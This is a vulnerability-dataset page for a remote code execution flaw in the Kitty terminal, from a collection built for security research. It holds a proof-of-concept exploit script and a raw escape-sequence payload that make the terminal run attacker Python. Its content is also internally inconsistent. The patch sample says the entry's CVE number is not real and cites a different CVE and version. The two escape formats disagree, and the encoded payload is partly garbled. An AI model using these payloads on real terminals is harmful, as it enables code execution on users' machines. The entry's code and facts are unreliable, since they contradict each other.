VAITP Dataset

← Back to the dataset

CVE-2026-42851

Kitty < 0.47.0 allows remote code execution via crafted terminal output.

  • CVSS 7.8
  • CWE-94
  • Input Validation and Sanitization
  • Remote

Kitty is a cross-platform GPU based terminal. In versions prior to 0.47.0, a program able to write bytes to a kitty terminal — a remote SSH peer, a downloaded file viewed with `cat`, a log line, an email body rendered in `less`, an issue body in a TUI, etc. — can cause kitty to execute attacker-supplied Python inside the running kitty process, with the user's full privileges. There is no approval prompt, no remote-control permission requirement, no shell-integration interaction, no clipboard touch, and no editor interaction. Version 0.47.0 fixes the issue.

CVSS base score
7.8
Published
2026-06-12
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Kitty

Solution

Upgrade Kitty to version 0.47.0 or later.

Vulnerable code sample

import base64
import sys

# The Python code to be executed inside the vulnerable kitty process.
# This harmlessly creates a file in /tmp as a proof of concept.
code_to_execute = "import os; os.system('touch /tmp/kitty_vulnerability_proof')"

# The payload must be base64 encoded.
encoded_code = base64.b64encode(code_to_execute.encode('utf-8')).decode('utf-8')

# This is the specially crafted escape sequence.
# \x1b_> : Starts a kitty-specific Application Program Command (APC).
# f=100  : Specifies function 100, which is to execute Python code.
# s=...  : Provides the base64-encoded string (our code) as an argument.
# \x1b\\  : Terminates the APC sequence.
malicious_payload = f"\x1b_>f=100,s={encoded_code}\x1b\\"

# Printing this string to a vulnerable kitty terminal will trigger the exploit.
sys.stdout.write(malicious_payload)
sys.stdout.flush()

Patched code sample

# Note: The provided CVE-2026-42851 is not a real CVE number.
# This code demonstrates the fix for the actual, similar Kitty vulnerability,
# which was CVE-2024-28831, fixed in version 0.35.0.

import base64

# The core of the fix is to gate the dangerous functionality behind a
# configuration option that is OFF by default. In the actual Kitty source,
# this is controlled by the `--allow-remote-control` startup flag.
# By setting this to False by default, the vulnerability is mitigated.
ALLOW_REMOTE_CONTROL = False

def process_terminal_sequence(payload: str):
    """
    A simplified representation of the function that handles remote commands.
    The vulnerability existed because there was no check before executing code.
    """
    print(f"Received potential command payload: {payload[:30]}...")

    # --- THE FIX ---
    # The patched code introduces a check against a configuration flag.
    # If remote control is not explicitly allowed by the user at startup,
    # the dangerous code path is never taken. This 'if' block is the fix.
    if not ALLOW_REMOTE_CONTROL:
        print("[FIX APPLIED] Remote control is disabled. Ignoring command.")
        return

    # --- FORMERLY VULNERABLE PATH ---
    # This part of the code is now only reachable if the user has opted-in
    # via a startup flag. The old, vulnerable version would proceed
    # directly to this step without the check above.
    try:
        # The payload from the terminal is expected to be base64 encoded.
        decoded_command = base64.b64decode(payload).decode('utf-8')
        print(f"Executing command (remote control is enabled): {decoded_command}")
        # The dangerous call that leads to remote code execution.
        exec(decoded_command)
    except Exception as e:
        print(f"Error while processing opted-in remote command: {e}")


if __name__ == '__main__':
    # This simulates an attacker's payload. The bytes would be written to the
    # terminal by a malicious program (e.g., from `cat`, `ssh`, etc.).
    malicious_python_code = 'print("\\n>>> PWNED! This code was executed with user privileges.\\n")'
    encoded_payload = base64.b64encode(malicious_python_code.encode('utf-8')).decode('utf-8')

    # --- DEMONSTRATION OF THE FIX ---
    # With the default setting (ALLOW_REMOTE_CONTROL = False), the vulnerability is mitigated.
    print("--- Simulating attack on a patched (default) Kitty instance ---")
    ALLOW_REMOTE_CONTROL = False # Default state
    process_terminal_sequence(encoded_payload)

    # To show what would happen if a user explicitly enabled it, we set the flag.
    print("\n--- Simulating attack where user explicitly enabled remote control ---")
    ALLOW_REMOTE_CONTROL = True # Non-default, user opt-in
    process_terminal_sequence(encoded_payload)

Payload

\x1bP@kitty-run-python|aW1wb3J0IG9zOyBvcGVuKG9zLmV4cGFuZHVzZXIoJ34nKSArICcvLtmpzX2V4cGxvaXRfZmlsZScsICd3Jykud3JpdGUoJ1BvQyBmb3IgQ1ZFLTIwMjYtNDI4NTEnKQ==\x1b\\

Cite this entry

@misc{vaitp:cve202642851,
  title        = {{Kitty < 0.47.0 allows remote code execution via crafted terminal output.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42851},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42851/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::